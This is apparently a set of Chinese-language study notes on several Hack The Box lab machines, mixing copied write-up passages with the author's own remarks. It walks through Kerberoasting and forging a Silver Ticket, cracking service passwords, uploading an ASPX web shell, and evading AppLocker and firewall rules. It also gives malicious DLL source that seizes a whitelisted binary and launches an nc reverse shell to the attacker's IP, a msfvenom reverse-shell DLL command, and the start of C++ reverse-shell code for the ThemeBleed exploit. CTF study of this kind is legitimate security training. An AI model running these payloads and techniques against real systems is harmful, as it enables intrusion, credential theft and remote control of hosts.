它代表当前用户的用户文件夹路径。具体而言,它指向当前登录用户的用户主文件夹,通常包含用户的个人文件、文档、下载、桌面等文件夹。

例如,如果用户名是 "John",那么 %userprofile% 将被解释为 C:\Users\John。这里 C: 是系统安装的驱动器,而 Users 是存储所有用户文件夹的文件夹。

在命令提示符或批处理文件中,使用 %userprofile% 可以方便地引用当前用户的主文件夹,而无需硬编码整个路径。这在编写脚本或配置文件时非常有用,因为它可以适应不同用户的不同文件夹结构。

例如,在命令提示符中,可以使用以下命令打开当前用户的文档文件夹

cd %userprofile%\Documents

这会将命令行的当前工作目录更改为当前用户的文档文件夹。

我将feroxbuster针对该站点运行(使用小写列表,因为 IIS 不区分大小写),但它没有发现任何有趣的内容:

oxdf@hacky$ feroxbuster -u http://10.10.11.168 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 

没有发现什么

image-20240110212710139

image-20240110212744014

上述图片暴露了用户名,并且网站提醒密码会重置为用户名,尝试一下

ldapsearch没有东西

这边我用smbclient不行

smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local

smbclient -U LicorDebellota.htb/kaorz

//10.129.228.115/netlogon

help给出命令:

shares显示股票:

use public

get Network Security Changes.pdf

这再次提到 NTLM 由于 NTLM 中继攻击而被禁用,现在一切都是通过 Kerberos 完成的。它还提到,人力资源部门已删除 SQL 数据库的访问权限。

应为ntlm认证被禁止,利用kerbore,

GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k

获得sqlsvc的凭证

hashcat mssqlsvc-hash /usr/share/wordlists/rockyou.txt

Pegasus60

这些信用实际上并不能直接允许我接触到任何新的东西。但因为这个帐户正在运行 SQL 服务,所以我可以使用该密码来执行Silver Ticket 攻击。adsecurity.org 链接的概述非常好。Silver Ticket 是伪造的 TGS(票证授予服务)票证,直接在客户端和服务之间使用,无需经过 DC。相反,TGS 票证是由服务帐户本身签名的,因此银票证仅限于仅验证服务本身。

要创建银票,攻击者需要:

  1. 服务帐户密码的 NTLM 哈希值;

  2. 域的SID

  3. 与帐户关联的服务主体名称 (SPN)。

GetUserSPNS.py我已经通过上面获得了 SPN MSSQLSvc/dc1.scrm.local:1433

要获取密码“Pegasus60”的 NTLM 哈希值,我将使用这篇文章中的命令:

oxdf@hacky$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4

(stdin)= b999a16500b87d17ec7f2e2a68778f05

接下来获取域sid,第一个方法我不知道/etc/ldap/ldap.conf在哪

后面想弄再来看看

要获取域 SID,我需要连接回 LDAP,但需要经过身份验证。需要进行大量的故障排除和搜索才能使其正常工作(感谢 TheCyberGeek 提供了一些关于此问题的提示)。如果我尝试以 ksimpson 身份连接,则会收到有关需要 SSL/TLS 的错误:

oxdf@hacky$ ldapsearch -h dc1.scrm.local -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)"
ldap_bind: Strong(er) authentication required (8)
        additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563

我需要下载服务器证书才能启用此连接:

oxdf@hacky$ openssl s_client -connect dc1.scrm.local:636
CONNECTED(00000003)
depth=0 CN = DC1.scrm.local
verify error:num=20:unable to get local issuer certificate
verify return:1         
depth=0 CN = DC1.scrm.local           
verify error:num=21:unable to verify the first certificate
verify return:1                                        
---                                                       
Certificate chain
 0 s:CN = DC1.scrm.local                           
   i:DC = local, DC = scrm, CN = scrm-DC1-CA
---                              
Server certificate
-----BEGIN CERTIFICATE-----
MIIGHDCCBQSgAwIBAgITEgAAAAIJqKDU0Cj0DgAAAAAAAjANBgkqhkiG9w0BAQUF
...[snip]...
G6CIrcE0+XepleMQggP4zOUbTO01AUmq7eX2z031RE4ndrCtgBXuGSHDqnUSvmVN
N6T9KeVeLFfbxp6gyHA3ehMBKrkbp3iLAWiWptbdIHE=
-----END CERTIFICATE-----
...[snip]...

我将获取该证书并将其保存到文件中。我可以用一行代码做到这一点:

oxdf@hacky$ echo -n | openssl s_client -connect dc1.scrm.local:636 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ldapserver.pem
depth=0 CN = DC1.scrm.local
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = DC1.scrm.local
verify error:num=21:unable to verify the first certificate
verify return:1
DONE

现在我将编辑/etc/ldap/ldap.conf以指出这一点:

#
# LDAP Defaults
#

# See ldap.conf(5) for details
# This file should be world readable but not world writable.

#BASE   dc=example,dc=com
#URI    ldap://ldap.example.com ldap://ldap-master.example.com:666

#SIZELIMIT      12
#TIMELIMIT      15
#DEREF          never

# TLS certificates (needed for GnuTLS)
TLS_CACERT      /home/oxdf/hackthebox/scrambled-10.10.11.168/ldapserver.pem

ldapsearch现在将转储所有用户:

oxdf@hacky$ ldapsearch -h dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" 
# extended LDIF
#
# LDAPv3
# base <DC=scrm,DC=local> with scope subtree
# filter: (objectClass=user)
# requesting: ALL
#
...[snip]...
# Administrator, Users, scrm.local
dn: CN=Administrator,CN=Users,DC=scrm,DC=local
...[snip]...                         
objectSid:: AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA==
...[snip]...                         

我需要字符串形式的 SID,因此我将使用此博客和一些 Python 来编写转换器:

#!/usr/bin/env python3

import base64
import struct
import sys

b64sid = sys.argv[1]
binsid = base64.b64decode(b64sid)
a, N, cccc, dddd, eeee, ffff, gggg = struct.unpack("BBxxxxxxIIIII", binsid)
bb, bbbb = struct.unpack(">xxHIxxxxxxxxxxxxxxxxxxxx", binsid)
bbbbbb = (bb << 32) | bbbb

print(f"S-{a}-{bbbbbb}-{cccc}-{dddd}-{eeee}-{ffff}-{gggg}")

有用:

oxdf@hacky$ python sid.py  AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA==
S-1-5-21-2743207045-1827831105-2542523200-500

第二种办法

获取域 SID 的另一种(且更简单)方法是使用getPac.pyImpacket 中的脚本。该脚本旨在获取任何用户的权限属性证书,这只需要作为域中的用户进行身份验证。我将给它 ksimpson 的权限并询问管理员:

oxdf@hacky$ getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson

Domain SID: S-1-5-21-2743207045-1827831105-2542523200

有大量有关该帐户的信息,但就我当前的目的而言,最后一项(在末尾看似随机的十六进制之前)是域 SID。

ticketer.py -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator

在 Linux 上,Kerberos 在预定义的位置查找票证,例如环境变量/tmp/krb5cc_[uid of current user]指向的任何文件KRB5CCACHE。如果我只是运行klist,它将无法找到新票:

oxdf@hacky$ klist 
klist: No credentials cache found (filename: /tmp/krb5cc_1000)

如果我将 env 变量指向 from 的文件ticketer.py,它会显示有关票证的信息:

oxdf@hacky$ KRB5CCNAME=administrator.ccache klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@SCRM.LOCAL

Valid starting       Expires              Service principal
06/14/2022 18:44:15  06/14/2032 18:44:15  MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL
        renew until 06/14/2032 18:44:15

使用相同的方法,mssqlclient.py可以使用票证连接到数据库:

oxdf@hacky$ KRB5CCNAME=administrator.ccache mssqlclient.py -k dc1.scrm.local
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

数据库枚举

select name, database_id from sys.databases;

ScrambleHR看起来很有趣。它有三个表:

SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;

和表都是空的EmployeesTimesheets其中有一行UserImport

SELECT * from ScrambleHR.dbo.UserImport;

MiscSvc ScrambledEggs9900

MSSQL 能够通过xp_cmdshell存储过程运行命令。在这里可以这样做,但是服务帐户无法访问盒子上的大部分内容,这在很大程度上是一个死胡同。

linux上安装powershell

Installing PowerShell on Ubuntu - PowerShell | Microsoft Learn

后续的反序列化和代码逆向看

HTB: Scrambled [From Linux] | 0xdf hacks stuff

Absolute

https://medium.com/@0xAn0m4ly/absolute-hackthebox-detailed-writeup-5bbce44b0cf6 writeup

https://arz101.medium.com/hackthebox-absolute-bdd0267d5d06 writeup

HTB: Absolute | 0xdf hacks stuff writeup

Shadow Credentials | Red Team Notes 影子凭证

尝试验证失败crackmapexec

oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl'

SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION 

STATUS_ACCOUNT_RESTRICTION通常意味着 NTLM 被禁用,并且我需要使用 Kerberos 进行身份验证。这样可行:

oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k

SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [+] absolute.htb\d.klay:Darkmoonsky248gi

这边的我的-k加上去后使用不了

使用kinit d.klay 直接生成票据的时候不行,是我的/etc/krb5.conf没配置好,后面有空来看看这两个错误

这边使用python3 getTGT.py absolute.htb/d.klay 也可以获得

使用bloodhound时记得加-ns,切记更新时间sudo ntpdate 10.10.11.181

bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip

powershell工具的学习

Add-DomainObjectAcl - PowerSploit

hathor

 crackmapexec smb 10.10.11.147 --shares -u guest -p ''
SMB         10.10.11.147    445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB         10.10.11.147    445    NONE             [-] \guest: STATUS_NOT_SUPPORTED 

有趣的是,最后一条错误消息是STATUS_NOT_SUPPORTED。这通常意味着 NTLM 身份验证被禁用(就像Scrambled中一样)。

来到80

查看页面源码,有几处引用了“mojoPortal”:

mojoPortal是一个基于 Windows 的内容管理系统 (CMS),如 WordPress、Drupal 或 Joomla。

mojoportal default credentials

Enter "admin@admin.com" for Email, "admin" for LoginName, and "admin" for Password.

简单的aspx反弹shell代码

webshell/fuzzdb-webshell/asp/cmd.aspx at master · tennc/webshell · GitHub 这个是上传一个文件,执行了可以代码执行

Online - Reverse Shell Generator reverse shell

http://10.10.11.147/Data/Sites/1/media/cmd.aspx 访问这个

成功的上传了cmd.aspx后但是不能反弹shell,看一下是不是防火墙

powershell.exe -c Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq \"Block\" }. 这将返回 16 条规则,全部为出站规则,由程序阻止。以下程序被阻止:cscript、PowerShell、PowerShell ISE、regsvr32rundll32wscriptcertutilcertocAutoIt。除了最后两个之外,所有这些都具有适用于 32 位和 64 位的块。

我将使用 PowerShell 转储 AppLocker 策略:

Get-AppLockerPolicy -Effective -Xml

它以很长的一行从页面上消失。我会将其复制到一个文件中,然后在 VSCode 中打开它来查看总之,允许运行以下内容:

如何利用vscode查看xml代码

code . 开启

image-20240117130957906

这样子就会出现行号

ctrl k + ctrl 0 可以压缩,

image-20240117150133456

这个可以换行查看,看一起来舒服点

然后就将压缩归类的一个个打开看一下哪些可以逃过过滤

  • Appx - 仅签名

  • DLL

    • 由微软签署

    • 在 Program Files 和 Windows 文件夹中

    • 由管理员组运行

    • C:\share\scripts\7-zip64.dll或者C:\Get-bADpasswords\PSI\Psi_x64.dll

  • EXE文件

    • 明确阻止甚至由 Microsoft 签名的已知 AppLocker 绕过,包括MSDT.exePRESENTATIONHOST.exeMSHTA.exeMSBUILD.exeINSTALLUTIL.exe

    • 允许由administrator@windcorp.com、AutoIt 或 Microsoft 签名(如果上面没有)

    • 明确阻止已知路径,例如%SYSTEM#2%\Tasks:*%SYSTEM32%\regvr32%SYSTEM32%\spool\drivers\color:*等。

    • 在 Program Files 和 Windows 文件夹中

    • 由管理员组运行

    • C:\share\Bginfo64.exe

  • 微星

    • C:\Windows\Installer

    • 由管理员组运行

  • 脚本

    • 由administrator@windcorp.htb 签署

    • 在 Program Files 和 Windows 文件夹中

    • 由管理员组运行

    • C:\script\login.cmd

由于我知道 PowerShell 和未签名的二进制文件都nc64.exe将无法连接,因此我将尝试功能更齐全的 Webshell,例如Insomnia。它具有内置的反向 shell 功能:

成功反弹shell

枚举目录

来到该目录下递归查询

CSV(逗号分隔值)文件是一种常见的文本文件格式,用于存储表格数据。

C:\Get-bADpasswords\Accessible\CSVs>findstr /S /I /C:"password" .*.csv

  • /S: 在指定目录及其子目录中递归搜索。

  • /I: 不区分大小写。

  • /M: 只显示包含搜索字符串的文件名,而不显示具体匹配的行。

  • /C:"password": 指定要搜索的字符串,这里是"password"。

  • C:\path\to\your\files\*.txt: 指定要搜索的文件路径和扩展名(这里假设你要搜索的是 .txt 文件)

找到hash值

image-20240117164756656

解密!!!!ilovegood17

这边

现在我要kinit以 Beatricemills 的身份跑去买票:

我将/etc/krb5.conf使用此域更新我的文件:

[libdefaults]   
    	default_realm = WINDCORP.HTB
        fcc-mit-ticketflags = true

[realms]
        WINDCORP.HTB = {
                kdc = HATHOR.WINDCORP.HTB
                admin_server = HATHOR.WINDCORP.HTB
        }
oxdf@hacky$ kinit beatricemill
Password for beatricemill@WINDCORP.HTB: 

输入密码后,它只是返回,但klist我可以看到票证存在:

oxdf@hacky$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: beatricemill@WINDCORP.HTB

Valid starting       Expires              Service principal
11/09/2022 18:31:49  11/10/2022 04:31:49  krbtgt/WINDCORP.HTB@WINDCORP.HTB
        renew until 11/10/2022 18:31:42

是可以利用crackmapexec smbclient还有smbclient.py的,但是前面两个我不行

crackmapexec smb hathor.windcorp.htb -k -d windcorp.htb -u beatricemill -p '!!!!ilovegood17' --shares

smbclient -L //hathor.windcorp.htb -U beatricemill@windcorp.htb -N -k

不知道为啥

smbclient.py -k 'windcorp.htb/beatricemill:!!!!ilovegood17@hathor.windcorp.htb'

这个可以

image-20240117171346812

AutoIt是一个用于控制 Windows GUI 的自动化框架。BgInfo是一个 Windows SysInternals 工具,用于将有关主机的信息打印到主机的壁纸上。我会记得该路径上的 Bginfo 已被 AppLocker 列入白名单,并且 AutoIt 被防火墙阻止。

在 中scripts,有一个 7Zip 库和一堆 AutoIt 脚本:

检查.exe是否在机器中运行进程的脚本

我很想知道这些文件中的任何一个是否在哈索尔上运行。使用我的 shell 作为 Web,我将编写一个丑陋但有效的循环来检查 AutoIt 和 BgInfo 的进程列表。首先,我会跑echo off。这将阻止它在运行时打印命令。它还摆脱了命令提示符。

然后我将把它作为一行运行:

FOR /L %i IN (0,1,1000) DO (tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks"  & ping -n 2 127.0.0.1 > NUL )

添加空格后,即:

FOR /L %i IN (0,1,1000) DO (
  tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & 
  tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks" & 
  ping -n 2 127.0.0.1 > NUL 
)

它会查看每个exe的任务列表,然后使用findstr删除“未找到任务”的行。然后它会以睡眠状态对自身进行 ping 操作,然后再次运行。如此操作 1000 次。每隔三分钟左右,每个过程就会有一堆:

...[snip]...
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
AutoIt3_x64.exe              19676                            1     11,856 K

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
Bginfo64.exe                 25352                            1     20,392 K
...[snip]...

大约 30 秒后AutoIt3_x64.exe,还有大约 10 秒Bginfo64.exe

我的第一个想法是尝试覆盖其中一个二进制文件。为了测试这一点,我将尝试编写nc64.exe. 我不希望这会给我一个 shell(任务正在运行它,而无需返回连接所需的参数),但至少它会告诉我是否可以覆盖这些。两者都失败:

smb: \> put nc64.exe AutoIt3_x64.exe

事实上,仅仅尝试写入nc64.exe共享就会失败,但写入相同的文件却nc64.txt可以:

显然,它阻止上传具有exe扩展名的文件。

有趣的是,它并没有阻止 DLL 的上传:

smb: \> put nc64.exe nc64.dll
putting file nc64.exe as \nc64.dll (87.9 kb/s) (average 55.1 kb/s)

我什至可以覆盖7-zip64.dll

smb: \scripts\> put nc64.exe 7-zip64.dll

在创建 DLL 之前,我将查看其中一些 AutoIt 脚本,看看它们是否使用该 DLL。下载一些并查看时,有对它的引用7Zip.au3

​编辑点击查看完整大小的图片

因此,如果运行此 AutoIt 脚本,则很可能会加载此 DLL。

尝试msf

我不希望 MSF 生成的反向 shell 能够连接回来,原因有几个。首先,Defender 似乎在这个盒子上启用了,我希望它能吃掉 MSF 生成的任何东西。其次,Dll 将被加载到 AutoIt 进程中,该进程被防火墙阻止出站。

不过,无论如何我都会尝试一下,因为这只需要一分钟,如果我错了,那会节省很多时间。我将生成一个 Dll 反向 shell msfvenom

oxdf@hacky$ msfvenom -p windows/x64/shell_reverse_tcp -f dll LHOST=10.10.14.6 LPORT=443 >
 rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

我会上传这个,它似乎就在那里。但是,当计划任务运行时,我没有收到回调,DLL 也消失了。这几乎肯定是防守者将其移除。过了一会儿,原来的又回来了。

我之前已经编写过几次自己的 DLL。我拥有的最详细的文章来自HackBack。我将在这里遵循相同的过程。我将打开我的 Windows VM 和 Visual Studio。我将创建一个新项目,过滤 C++ 并选择“动态链接库 (DLL)”作为类型:

​编辑点击查看完整大小的图片

给它命名后,它将打开并dllmain.cpp显示。我将添加一个includeforstdlib.h来访问该system函数,并DLL_PROCESS_ATTACH使用我的有效负载更新案例:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c ping 10.10.14.6");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

考虑到正在发生的事情的复杂性,我将从简单的情况开始向ping我的主人介绍。我将构建设置为 Release x64,然后选择“构建”->“构建解决方案”。

image-20240117184711299

image-20240117184722129

成功了。

我将开始tcpdump查找 ICMP 数据包,并将其上传到7-zip.dll,然后等待下一个计划任务运行。有用:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
12:39:57.992781 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18400, length 40
12:39:57.992824 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18400, length 40
12:39:59.007392 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18402, length 40
12:39:59.007425 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18402, length 40
12:40:00.039137 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18404, length 40
12:40:00.039167 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18404, length 40
12:40:01.054422 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18406, length 40
12:40:01.054468 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18406, length 40

这就是执行。

通过 Dll 枚举

为了了解下一步该去哪里,我将通过让 Dll 将数据写入文件并通过 shell 作为 Web 读取它来获取有关共享的更多信息。我将生成一个新的 Dll 主体:

    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c whoami /all > C:\\users\\public\\0xdf.txt");
        system("cmd.exe /c icacls C:\\share >> C:\\users\\public\\0xdf.txt");
        system("cmd.exe /c icacls C:\\share\\* >> C:\\users\\public\\0xdf.txt");
        system("cmd.exe /c icacls C:\\share\\scripts\\* >> C:\\users\\public\\0xdf.txt");
        system("cmd.exe /c ping 10.10.14.6");

我将其留在那里ping,以便在它运行时我有一些指示。

我会上传它,大约一分钟后,我会收到 ping 信号。我会检查 shell,有一个文件:

c:\Users\Public>dir
 Volume in drive C has no label.
 Volume Serial Number is BE61-D5E0

 Directory of c:\Users\Public

11/10/2022  07:40 PM    <DIR>          .
02/16/2022  10:00 PM    <DIR>          ..
11/10/2022  07:40 PM            11,072 0xdf.txt
09/24/2021  07:27 AM    <DIR>          Documents
09/15/2018  08:19 AM    <DIR>          Downloads
09/15/2018  08:19 AM    <DIR>          Music
09/15/2018  08:19 AM    <DIR>          Pictures
09/15/2018  08:19 AM    <DIR>          Videos
               1 File(s)         11,072 bytes
               7 Dir(s)   9,227,177,984 bytes free 

该文件看起来由 GinaWild 所有:

c:\Users\Public>icacls 0xdf.txt
icacls 0xdf.txt
0xdf.txt BUILTIN\Administrators:(I)(F)
         WINDCORP\GinaWild:(I)(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         NT AUTHORITY\INTERACTIVE:(I)(M,DC)
         NT AUTHORITY\SERVICE:(I)(M,DC)
         NT AUTHORITY\BATCH:(I)(M,DC)

Successfully processed 1 files; Failed processing 0 files

看看输出,有一些东西会跳出来。运行它的用户是 GinaWild,他们是 ITDep 和 Protected Users 组的成员:

图片-20221110134404933

查看 中的权限C:\share,有几个结果非常有趣。7-zip64.dll所有用户都可写,这解释了为什么我可以覆盖它:

图片-20221110134740278

AutoIt3_x64.exe属于管理员所有,用户只能读取/执行。ITDep 组(GinaWild 所在组)也可以删除子项 ( DC):

图片-20221110134923892

Bginfo64.exe另一方面,则更加宽松。用户只能读/执行,但 ITDep 还可以写所有者(WO),这意味着 ginawild 可以更改所有者。

shell

战略

Bginfo64.exe不会被防火墙阻止,并且即使未从该路径签名,它也会在 AppLocker 中列入白名单以运行。我可以以 GinaWild 身份运行 Dll,GinaWild 可以取得 的所有权Bginfo64.exe,然后对其进行修改。

我将制作一个新的 Dll 来:

  • 取得 的所有权Bginfo64.exe

  • 更新权限,以便 GinaWild 拥有完全控制权。

  • nc64.exe我之前上传的复制到 web 目录下Bginfo64.exe

  • 调用nc64.exe以使用反向 shell 连接回我。

DLL

我将更新我的 Dll 代码来执行上述步骤:

    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe");
        system("cmd.exe /c cacls C:\\share\\Bginfo64.exe /E /G ginawild:F");
        system("cmd.exe /c copy C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe C:\\share\\Bginfo64.exe");
        system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.6 9003");
  1. case DLL_PROCESS_ATTACH:: 这是一个switch语句,处理当DLL被加载到进程空间时的事件。DLL_PROCESS_ATTACH 表示DLL被加载到一个进程中。

  2. system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe");: 这一行使用系统命令takeown来获取对指定文件 C:\\share\\Bginfo64.exe 的所有者权限。/F 参数指定了文件路径。

  3. system("cmd.exe /c cacls C:\\share\\Bginfo64.exe /E /G ginawild:F");: 使用系统命令 caclsC:\\share\\Bginfo64.exe 进行访问控制列表(ACL)的修改。具体来说,它添加了一个用户 ginawild 并赋予了完全控制权限(/G ginawild:F)。

  • system("cmd.exe /c ..."):这部分命令执行系统命令。用于cmd.exe /c运行命令,然后终止命令提示符。

  • cacls:这是用于显示或修改 NTFS 分区上文件和文件夹的访问控制列表 (ACL) 的命令行实用程序。

  • C:\\share\\Bginfo64.exe:这是要修改 ACL 的文件的路径。

  • /E:此开关编辑 ACL,而不是替换它。

  • /G ginawild:F:这部分命令向指定用户授予对该文件的权限。在这种情况下:

    • /G:授予权限。

    • ginawild:授予权限的用户名或组名。

    • :F:授予完全控制(读、写、执行、删除)权限。

  1. system("cmd.exe /c copy C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe C:\\share\\Bginfo64.exe");: 使用系统命令 copy 复制 C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exeC:\\share\\Bginfo64.exe。这实际上是将一个可执行文件复制到另一个文件。

  2. system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.6 9003");: 运行 C:\\share\\Bginfo64.exe 可执行文件,并传递参数 -e cmd 10.10.14.6 9003。这个命令的目的可能是在远程主机上执行一个shell,并将其连接到IP地址 10.10.14.6 的端口 9003。可能是用于建立远程访问或控制的后门。

shell

我会上传该 Dll7-zip64.dll并等待。当任务运行时,我的监听中有一个连接nc

oxdf@hacky$ rlwrap -cAr nc -lnvp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.11.147 56824
Microsoft Windows [Version 10.0.20348.643]
(c) Microsoft Corporation. All rights reserved.

c:\share>

areo(theme bleed)

MSFVenom - CheatSheet | HackTricks | HackTricks msf载荷的生成命令

HTB: Helpline Windows | 0xdf hacks stuff如何制作恶意dll文件并且反弹shell

HTB: Aero | 0xdf hacks stuff writeup

搜索“windows 11 themeexploit”会返回大量名为“ThemeBleed”的结果:

CVE-2023-38146(称为 ThemeBleed)是 Windows 主题中的一个漏洞,允许远程执行代码。它已在2023 年 9 月星期二补丁中修复。

该漏洞来自 Windows 处理.msstyles主题文件中引用的文件的方式。这些.msstyles文件导致 Windows 在.msstyles_vrf.dll附加的路径相同的路径中打开 DLL。该文件的数字签名在加载之前会被检查。

该漏洞的出现是因为,当使用 999 版本时,_vrf.dll检查二进制文件签名和加载使用它的时间之间存在很大差距。这种差距带来了竞争条件,攻击者可以用恶意有效负载替换经过验证的样式 DLL 来运行任意代码。

POC

研究人员发布的概念验证代码位于此 GitHub 存储库中。在“发布”部分中有一个 zip 文件,其中包含 Windows 可执行文件以及名为stage1stage2和 的DLL stage3

image-20240119202927595

GitHub 上的 README 显示该 exe 有三个命令:

  • server- 运行服务器

  • make_theme- 制作一个.theme文件

  • make_themepack- 制作一个.themepack文件

stage1`是一个设置为 999 的`msstyles`文件。是一个通过检查的合法签名样式文件。是要加载的 DLL,默认情况下将启动.`PACHTHEME_VERSION``stage2``stage3``calc.exe

我将在这段视频中详细介绍这一分析:

最大的收获是:

  • 主题尝试从我的主机上的 SMB 共享加载样式文件。

  • 这会触发与以 结尾的文件的交互_vrf.dll,首先使用 API 打开它CreateFile以读取它并验证它的签名,然后使用LoadLibraryAPI 打开它。

  • SMB 服务器利用其打开方式的差异来返回合法 DLL 或恶意 DLL。

测试

生成DLL

设置 VS 项目

我的CTF 脚本存储库中有一个反向 shell DLL ,我将其用于帮助热线 HTB 框。它在这里不起作用,因为它从本地环境变量中获取回调 IP 和端口。它还在 DLL 加载时运行反向 shell,正如 POC 的说明所示,使用该VerifyThemeVersion函数。

我将打开 Visual Studio(不是 Visual Studio Code)并“创建一个新项目”。我将使用过滤器菜单中的“C++”、“Windows”和“Library”来访问“Dynamic-Link Library (DLL)”:

image-20240119203118597

我将命名该项目并为其获取一个文件夹:

image-20240119203126925

创建带有导出的虚拟 DLL

在尝试放入反向 shell 之前,我想确保可以创建具有正确导出名称的 DLL。dllmain.cpp该项目从“Source Files”目录开始:

image-20240119203236131

该代码已DllMain定义函数。过去,我从这里调用我的反向 shell,其中模板具有break

image-20240119203243861

我将通过右键单击解决方案资源管理器中的“头文件”来创建一个新的头文件并将其命名为rev.h. 在此文件中,我将定义导出的函数:

#pragma once

extern "C" __declspec(dllexport) int VerifyThemeVersion(void);

在 C++ 中,具有这一点很重要,"C"否则函数名称在导出时会被破坏。

我将添加rev.cpp到解决方案资源管理器中的“源文件”,并在其中添加代码以弹出消息框:

#include "pch.h"
#include <Windows.h>
#include "rev.h"

using namespace std;

int VerifyThemeVersion(void)
{
    MessageBox(NULL, L"Hello, World!", L"Test", MB_OK);
    return 0;
}

rev.h为了使函数头和导出正常工作,包含在内非常重要。

我将我的项目设置为“发布”,然后转到“构建”>“构建解决方案”,然后它就会构建。我可以在 CFF 资源管理器之类的工具中查看它并查看导出:

image-20240119203303536

运行它rundll32会显示它的工作原理:

图片-20230926124826895

我将从在线存储库中获取一个反向 shell(我将使用我的,但有很多),并对其进行调整以获得我需要的内容。我的从环境中读取回调IP和端口,这在这里不起作用。我将在函数顶部将它们定义为常量:

#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#include "rev.h"
using namespace std;

void rev_shell()
{
	FreeConsole();

	const char* REMOTE_ADDR = "127.0.0.1";
	const char* REMOTE_PORT = "4444";

	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
